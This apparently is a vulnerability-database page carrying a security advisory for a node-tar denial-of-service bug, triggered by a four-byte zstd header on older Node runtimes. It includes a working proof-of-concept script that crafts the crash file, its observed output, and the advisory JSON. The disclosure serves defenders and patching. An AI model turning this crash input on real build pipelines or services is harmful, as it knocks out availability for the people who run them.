GHSA-72FP-85CC-G945

Vulnerability from github – Published: 2026-12-02 01:15 – Updated: 2026-12-02 01:15
VLAI
Summary
node-tar crashes the process with an uncaught exception on a 4-byte zstd magic header when the Node runtime lacks native zstd
Details

Summary

An unauthenticated remote-input denial of service allows a four-byte file to crash any process that lists or extracts it with node-tar's asynchronous file API, on any Node runtime without native zlib zstd support (Node 18.x, 20.x, 21.x, 22.0-22.14, 23.0-23.7, all of which satisfy the package's declared engines: node >= 18). node-tar's default-enabled compression sniffing detects the zstd magic (28 b5 2f fd) and constructs new ZstdDecompress({}) with no error handling. On a runtime without the zstd binding, minizlib's constructor throws a TypeError synchronously inside the file-read stream's data callback, so the async tar.t() / tar.x() promise never settles and the exception is uncaught, killing the process.

Details

Parser.write() sniffs the first bytes of every input and, on the zstd magic, constructs the decompressor unguarded:

// src/parse.ts:547-550
this[UNZIP] =
  this[UNZIP] === undefined ? new Unzip({})
  : isZstd ? new ZstdDecompress({})   // throws TypeError on a runtime without native zstd
  : new BrotliDecompress({})

minizlib's ZlibBase constructor throws TypeError: Compression method not supported: ZstdDecompress when node:zlib lacks the binding. Because this construction runs inside the file-read stream's data handler (ReadStream.emit -> Unpack.write -> new ZstdDecompress), the throw is not routed through the stream's error event or Parser.abort(). For the async file form (tar.x({file}) / tar.t({file})), the throw escapes as an uncaught exception: the process dies, and a consumer's try/catch or .catch() cannot reach it because the returned promise never settles. zlib.ZstdDecompress was added in Node v23.8.0 and backported to v22.15.0; on those and later runtimes the class exists and the same 4-byte input is handled through the normal catchable error path instead.

PoC

Validated on the published npm package tar@7.5.22 (and source main @ 2a22bfc). Vulnerable runtime: Node v20.20.2 (node -e "console.log(typeof require('zlib').ZstdDecompress)" prints undefined). Non-vulnerable control: Node v24.19.0.

// npm i tar@7.5.22 ; node poc.cjs   (run on Node 20)
const { x } = require('tar'); const fs = require('fs')
fs.writeFileSync('/tmp/z4.tar', Buffer.from([0x28,0xb5,0x2f,0xfd,0x01,0x02,0x03,0x04]))
fs.rmSync('/tmp/z-out',{recursive:true,force:true}); fs.mkdirSync('/tmp/z-out')
let uncaught = null, settled = 'NEVER'
process.on('uncaughtException', e => uncaught = e.constructor.name + ': ' + e.message)
x({ cwd:'/tmp/z-out', file:'/tmp/z4.tar' }).then(()=>settled='RESOLVED').catch(()=>settled='REJECTED')
const ka = setInterval(()=>{},100)
setTimeout(()=>{ clearInterval(ka); console.log('uncaught:', uncaught); console.log('settled:', settled); process.exit(0) }, 3000)

Observed on Node v20.20.2 (zstd undefined):

uncaught: TypeError: Compression method not supported: ZstdDecompress
settled:  NEVER

Without the uncaughtException handler the process dies with the raw stack (frame: at new ZstdDecompress ... at Unpack.write ... at FSReqCallback.wrapper [as oncomplete] (node:fs)). On Node v24.19.0 the same file produces a clean catchable rejection (TAR_ABORT / zlib: Dictionary mismatch) and no crash. Synchronous mode and direct stream writes throw catchably from the caller's stack on all runtimes; only the async file API turns the throw into process death.

Impact

Availability-only denial of service via process crash. Four attacker-controlled bytes, with no tar structure, kill any pipeline on an affected Node runtime that lists or extracts an attacker-supplied archive through node-tar's async file API, including npm-style package installation and CI artifact processing. The impact is conditional on the Node version: it is present on Node 18.x, 20.x, 21.x, 22.0-22.14, and 23.0-23.7 (Node 20 is an Active LTS line in wide production use) and inert on Node 22.15+ / 23.8+ / 24+. Unauthenticated, remote, no user interaction.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.5.22"
            },
            {
              "fixed": "8.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-140241"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-755"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-12-02T01:15:55Z",
    "nvd_published_at": "2026-12-01T18:17:28Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn unauthenticated remote-input denial of service allows a four-byte file to crash any process that lists or extracts it with node-tar\u0027s asynchronous file API, on any Node runtime without native zlib zstd support (Node 18.x, 20.x, 21.x, 22.0-22.14, 23.0-23.7, all of which satisfy the package\u0027s declared `engines: node \u003e= 18`). node-tar\u0027s default-enabled compression sniffing detects the zstd magic (`28 b5 2f fd`) and constructs `new ZstdDecompress({})` with no error handling. On a runtime without the zstd binding, minizlib\u0027s constructor throws a `TypeError` synchronously inside the file-read stream\u0027s data callback, so the async `tar.t()` / `tar.x()` promise never settles and the exception is uncaught, killing the process.\n\n### Details\n`Parser.write()` sniffs the first bytes of every input and, on the zstd magic, constructs the decompressor unguarded:\n\n```ts\n// src/parse.ts:547-550\nthis[UNZIP] =\n  this[UNZIP] === undefined ? new Unzip({})\n  : isZstd ? new ZstdDecompress({})   // throws TypeError on a runtime without native zstd\n  : new BrotliDecompress({})\n```\n\n`minizlib`\u0027s `ZlibBase` constructor throws `TypeError: Compression method not supported: ZstdDecompress` when `node:zlib` lacks the binding. Because this construction runs inside the file-read stream\u0027s `data` handler (`ReadStream.emit` -\u003e `Unpack.write` -\u003e `new ZstdDecompress`), the throw is not routed through the stream\u0027s `error` event or `Parser.abort()`. For the async file form (`tar.x({file})` / `tar.t({file})`), the throw escapes as an uncaught exception: the process dies, and a consumer\u0027s `try/catch` or `.catch()` cannot reach it because the returned promise never settles. `zlib.ZstdDecompress` was added in Node v23.8.0 and backported to v22.15.0; on those and later runtimes the class exists and the same 4-byte input is handled through the normal catchable error path instead.\n\n### PoC\nValidated on the published npm package `tar@7.5.22` (and source main @ 2a22bfc). Vulnerable runtime: Node v20.20.2 (`node -e \"console.log(typeof require(\u0027zlib\u0027).ZstdDecompress)\"` prints `undefined`). Non-vulnerable control: Node v24.19.0.\n\n```js\n// npm i tar@7.5.22 ; node poc.cjs   (run on Node 20)\nconst { x } = require(\u0027tar\u0027); const fs = require(\u0027fs\u0027)\nfs.writeFileSync(\u0027/tmp/z4.tar\u0027, Buffer.from([0x28,0xb5,0x2f,0xfd,0x01,0x02,0x03,0x04]))\nfs.rmSync(\u0027/tmp/z-out\u0027,{recursive:true,force:true}); fs.mkdirSync(\u0027/tmp/z-out\u0027)\nlet uncaught = null, settled = \u0027NEVER\u0027\nprocess.on(\u0027uncaughtException\u0027, e =\u003e uncaught = e.constructor.name + \u0027: \u0027 + e.message)\nx({ cwd:\u0027/tmp/z-out\u0027, file:\u0027/tmp/z4.tar\u0027 }).then(()=\u003esettled=\u0027RESOLVED\u0027).catch(()=\u003esettled=\u0027REJECTED\u0027)\nconst ka = setInterval(()=\u003e{},100)\nsetTimeout(()=\u003e{ clearInterval(ka); console.log(\u0027uncaught:\u0027, uncaught); console.log(\u0027settled:\u0027, settled); process.exit(0) }, 3000)\n```\n\nObserved on Node v20.20.2 (zstd undefined):\n```\nuncaught: TypeError: Compression method not supported: ZstdDecompress\nsettled:  NEVER\n```\nWithout the `uncaughtException` handler the process dies with the raw stack (frame: `at new ZstdDecompress ... at Unpack.write ... at FSReqCallback.wrapper [as oncomplete] (node:fs)`). On Node v24.19.0 the same file produces a clean catchable rejection (`TAR_ABORT` / `zlib: Dictionary mismatch`) and no crash. Synchronous mode and direct stream writes throw catchably from the caller\u0027s stack on all runtimes; only the async file API turns the throw into process death.\n\n### Impact\nAvailability-only denial of service via process crash. Four attacker-controlled bytes, with no tar structure, kill any pipeline on an affected Node runtime that lists or extracts an attacker-supplied archive through node-tar\u0027s async file API, including npm-style package installation and CI artifact processing. The impact is conditional on the Node version: it is present on Node 18.x, 20.x, 21.x, 22.0-22.14, and 23.0-23.7 (Node 20 is an Active LTS line in wide production use) and inert on Node 22.15+ / 23.8+ / 24+. Unauthenticated, remote, no user interaction.",
  "id": "GHSA-72fp-85cc-g945",
  "modified": "2026-12-02T01:15:55Z",
  "published": "2026-12-02T01:15:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-72fp-85cc-g945"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-140241"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/73b352e0010d6c99794ea7374800816a46d3bdb2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/releases/tag/v8.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "node-tar crashes the process with an uncaught exception on a 4-byte zstd magic header when the Node runtime lacks native zstd"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.